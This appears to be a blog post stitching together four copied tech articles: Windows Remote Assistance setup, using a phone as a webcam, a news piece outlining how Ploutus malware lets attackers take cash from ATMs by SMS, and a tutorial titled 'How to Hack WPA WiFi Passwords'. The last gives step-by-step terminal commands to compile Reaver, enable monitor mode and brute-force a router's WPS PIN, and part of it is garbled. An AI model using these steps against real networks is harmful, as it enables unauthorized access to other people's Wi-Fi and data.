Remote Screen sharing and conroling in windows without any software

I didn't compose this. I just copied and pasted. Am lazy most times :D . Here it goes :

Remote sharing is nowadays on its peak, people use remote sharing to provide live support or for sharing screens. Most of us always use third party software's for sharing or controlling remote systems using software's like Teamviewer or Radmin etc. Today i am going to teach you guys how to connect any two or as many as windows PC through remote without using any third party
tool like team viewer etc. So lets learn how to share‎ screens without any third party tool.As we all knows‎ Windows OS is full of hidden programs that are only  limited to developer or geeks. Today we are going to learn about MSRA (windows remote assistance) executable.‎ MSRA is windows inbuilt remote assistance program‎ using which you can control remote pc's, share remote screens, provide remote support and much more. Lets learn how to use MSRA for remote sharing.
Steps to Share or Control Remote PC using MSRA:

1. First of all click on startup and type command "MSRA"

2. Now you will see screen  having title
"Windows Remote Assistance" , there are two options
Invite someone you trust to help you : Choose this
option if you want to share your screen with
Help someone who invited you : Choose this
option if you want to control someone others PC
Click on Option a "Invite someone you trust to help you" to
share your screen:
Select shown option to continue
Once you click the above option 
panel with multiple options:
Options displayed for Windows remote assistance
Now you can see three different options :
Send this invitation as file : On clicking this option
you can save the invitation file and send it to
anyone from which you require help. After saving
the file another window will open containing the
password. You have to provide that password to
person whom you want to connect to your
Use email to send an invitation: You can send
invitation directly via email but it requires email
client on your machine to send email like outlook
Use Easy connect: Another method to directly
connect two PC is using Easy connect but this
require some basic settings at your routers end
i.e. If the computer has IPv6 disabled or is behind
a NAT router that blocks Teredo traffic, the Easy
Connect option will be unavailable.
Now once you have send the remote assistance invitation
file to user, he can connect to your PC by double clicking
the invitation file and then entering the password.
Note: You need to enable remote assistance service.

3. Help someone who invited you : By clicking this option
you can provide help to anyone who has done the above
task. You will need two things : Invitation file and
password to connect remote PC.
Woohooo… Did you know there is another smart option by
which you can directly connect to any PC using IP
address? If not, well lets learn that too. Yup we can also
provide windows remote assistance support using IP
address too. Here are options.
1. First of all click on startup and type command "MSRA"
and press enter.
2. Now you will see screen where two options are
displayed, Select "Help someone who invited you".
3. After that you will see some option, click on the bottom
one "Advanced connection option for help desk" as shown
below :
Select advanced connection option for help desk
After clicking option you see below panel to enter IP
Enter IP address or computer name
After entering IP address press Next to connect to IP
address. That's all.
Hope you all enjoyed the learning. If you have any queries
ask me in form of comments.‎

How to use your Smartphone as a web cam

 I joined a Facebook group that gives updates on tech stuffs and I saw this, I didn't write this! This is a typical copy and paste. So here we go: 
 Many would doubt the concept as of why one would prefer using his phone as a webcam? Well, there are a bunch of reasons to push this idea‎:

 ‎• Old phone having no front cam? You could use rear
camera for video calling instead of buying one.
• A good chance that it can stand for a pretty good
"Security camera", monitoring your babies or other watch hours, without buying expensive standalone cameras!
Oh yes, it is a matter of concern that you would buy a new‎ camera for the purpose but still if you want to save those few dollars/rupees, you can stick to this idea. Don't sell that old one in your pocket, it can still serve you well.
Now the question arise on How-to-do stuff? Isn't it? Well there are certain right apps that would provide you with satisfying interface and make worth it.

Play store as well as private developers provide a number
of apps for this purpose. But beware of those fake tagline,
you could be fooled and end up in wasting worthy data or leak of some personal information. Out of the most tested, IP Webcam is the best one which
proves for this purpose. Unlike DroidCam (which require a similar application to be installed in windows), this app‎ works through your browser, giving you the compatibility and freedom to move over platforms.

1. Connect you phone and computer to the same Wi-
Fi network.
2. Install the app IP Webcam on your phone.
3. It is advisable to close any app which uses your
phone's camera (kill'em using task manager).
4. Launch the app. Scroll down until a tab appears-
"Start server".
5. The app will now display a URL, something like- (alphabets represents
6. Enter this URL in your web browser and hit Enter.
7. In the browser, you'll see a drop down menu next
to Video renderer. Select Browser.
8. Next, you'll see Audio renderer. Select HTML wav.
Now you're good to go. You'll see a live video feed in your browser. You can record it via browser. You'll get used to controls once you use it.
Although there might be some problem in HTML wav audio‎ streaming, you can prefer VLC media player for this purpose.
Download it from here ( ) , install it. Go to Media>Network Stream and enter the URL generated from the app.
Once the app is running, you don't need to keep the
phone's screen on. It works smoothly even if phone is
locked but video feed experience is slightly better when phone's screen is on.

EpocCam and PocketCam rule the app market in race of making your iProduct a better webcam. PocketCam is messy to configure, and gives access to only black n white video, no audio in free version. You can rely on the paid one to get better service.
EpocCam is free and quite easy to set up too! Here's how to make it under use:

1. Download EpocCam on your iDevice as well as for
your Mac or PC.
2. Make sure both the devices are connected on the
same network.
3. While installing, several prompt may appear
asking you to install some drivers. Install them,
they essential audio and video drivers used by the
4. Start the app on both devices.
5. The app will automatically searches for the device
running EpocCam on the same Wi-Fi network.
Soon, the video from your iDevice will be shown
up on your computer.
6. There might be a few occasions when the app
won't connect your device to your computer. In the
case, restarting the app quickly fixes the issue.
Also, there is no video recording feature in this
app, but video recording apps like CamStudio,
ScreenPresso, etc. will work for you.

Video Calling- Setting up your phone as a


Disappointing though, IP Webcam doesn't work with
Skype, so you need to stick with DroidCam and its PC
Client to work.

1. Install DroidCam on your phone, as well as on
your computer. (As DroidCam Client, here )
2. Connect both the devices to the same network.
3. Open the app on the phone and write down the Wi-
Fi IP listed on the main screen.
4. Open the Windows client and paste the IP on your
5. If you have slow internet connection, select low
from the video quality drop down menu.
6. Click Start.
7. Now you'll see video feed from your phone on the
DroidCam Windows application.
8. Better to keep your phone unlocked, to avoid
minimal stutter and lag. Keep android app open
and turn off auto-lock.
9. Restart Skype (if it is already opened) and select
DroidCamSource1 as webcam.
Good to go again. Use your phone as the webcam.

The procedure is simple. EpocCam enables you to connect to Skype and use your iDevice as Webcam .
1. Install app on both devices, as mentioned earlier.
2. Start the app, it will connect automatically.
3. Now, restart Skype and select EpocCam as the
4. Now you'll be using your iDevice as Webcam.
How to set default camera on Skype:
Skype on your PC will require the camera configuration.

1. Download and Install desktop version Skype app.
2. Sign in to your account and enter Tools>Options.
3. Click video setting under the general tab.
4. Select the correct camera from the drop down
menu next to Select webcam. The name of the
camera will be similar to the name of the app
5. you are using. Select it.
6. Click save.
You can now place video calls from your computer using
your phone as a webcam!

Note for iPhone, iPad users: The app stops working if you
hit the home button or lock your phone.

Windows XP flaw: ATMs Being Hacked By Just An Sms

‎We already know that Microsoft's support for  windows XP
has been ended on 8th April of this year , apparently 95%
of the world's 3 million ATM machines are runnnig on it.
Microsoft's decision to withdraw support for Windows XP
poses critical security threat to the economic
infrastructure worldwide.
Security researchers at Antivirus firm Symantec claimed
that hackers can exploit a weakness in Windows XP
based ATMs, that allow them to withdraw cash simply by
sending an SMS to compromised ATMs.

‎What was interesting about this variant of
Ploutus was that it allowed cybercriminals to
simply send an SMS to the compromised
ATM, then walk up and collect the dispensed
cash. It may seem incredible, but this
technique is being used in a number of places
across the world at this time. researchers

 ‎According to researchers – In 2013, they detected a
malware named Backdoor. Ploutus, installed on ATMs in
Mexico, which is designed to rob a certain type of
standalone ATM with just the text messages.
To install the malware into ATMs machines, hacker must
connect the ATM to a mobile phone via USB tethering and
then to initiate a shared Internet connection, which then
can be used to send specific SMS commands to the phone
attached or hardwired inside the ATM.

Since the phone is connected to the ATM
through the USB port, the phone also draws
power from the connection, which charges the
phone battery. As a result, the phone will
remain powered up indefinitely.

How can this be achieved? 

  • Connect a mobile phone to the machine with a USB cable and install Ploutus Malware.
  • The attacker sends two SMS messages to the mobile phone inside the ATM‎ SMS 1 contains a valid activation ID to activate the malware. SMS 2 contains a valid dispense command to get the money out.
  • Mobile attached inside the ATM detects valid‎ incoming SMS messages and forwards them to the ATM as a TCP or UDP packet.
  • Network packet monitor (NPM) module coded in the malware receives the TCP/UDP packet and if it contains a valid command, it will execute Ploutus‎ Amount for Cash withdrawal is pre-configured‎ inside the malware.
  • Finally, the hacker can collect cash from the‎ hacked ATM machine.

Researchers have detected few more advanced variants of this malware, some attempts to steal customer card and PIN data, while others attempt man-in-the-middle attacks.
This malware is  now spreading to other countries, so you are recommended to pay extra attention and remain cautious while using an ATM.

How to Hack WPA WiFi Passwords by Cracking the WPS PIN

A flaw in WPS, or WiFi Protected Setup, known about for over a year by TNS, was finally exploited with proof of concept code. Both TNS, the discoverers of the exploit and Stefan at .braindump have created their respective "reaver" and "wpscrack" programs to exploit the WPS vulnerability. From this exploit, the WPA password can be recovered almost instantly in plain-text once the attack on the access point WPS is initiated, which normally takes 2-10 hours (depending on which program you use). This exploit defeats WPS via an intelligent brute force attack to the static WPS PIN. By guessing the PIN,
the router will actually throw back, whether or not the first four digits (of eight) are correct. Then, the final number is a checking number used to satisfy an algorithm. This can be exploited to brute force the WPS PIN, and allow recovery of the WPA password in an incredibly short amount of time, as opposed to the standard attack on WPA.
In thisNull Byte, let's go over how to use both tools to crack WPS. As of yet, no router is safe from this
attack, and yet none of the vendors have reacted and released firmware with mitigations in place. Even disabling WPS still allows this attack on most routers.


Linux OS

A router at home with WPS

The following programs installed (install by package name): aircrack-ng, python-pycryptopp, python-scapy, libpcap-dev


Reaver (support for all routers

wpscrack (faster, but only support for major router brands)

Crack WPS:

Text in bold is a terminal command. Follow the guide that corresponds to the tool that you chose to use below.


1. Unzip Reaver. unzip reaver-1.3.tar.gz
2. Change to the Reaver directory. cd reaver-1.3
3. Configure, compile and install the application.
./configure && make && sudo make install
4. Scan for an access point to attack, and copy its MAC address for later (XX:XX:XX:XX:XX:XX). sudo iwlist scan wlan0
5. Set your device into monitor mode. sudo airmon-ng start wlan0
6. Run the tool against an access point. reaver -i mon0 -b <MA:CA:DD:RE:SS:XX> -vv
7. Wait until it finishes. This tool makes it too easy.

1. Make the program an executable. chmod +x
2. Scan for an access point to attack, and copy its MAC address for later (XX:XX:XX:XX:XX:XX). sudo iwlist scan wlan0
3. Get your MAC address, save it for later. ip link show wlan0 | awk '/ether/ {print $2}'
4. Set your device into monitor mode. sudo airmon-ng start wlan0
5. Attack your AP. –iface mon0 –client
<your MAC, because you're attacking yourself, right?> –bssid <AP MAC address> --ssid <name of your AP> -v
6. Await victory. Now, let's hope we see a lot of
firmware update action going on in the near future, or else a lot of places are in a whole world of trouble.
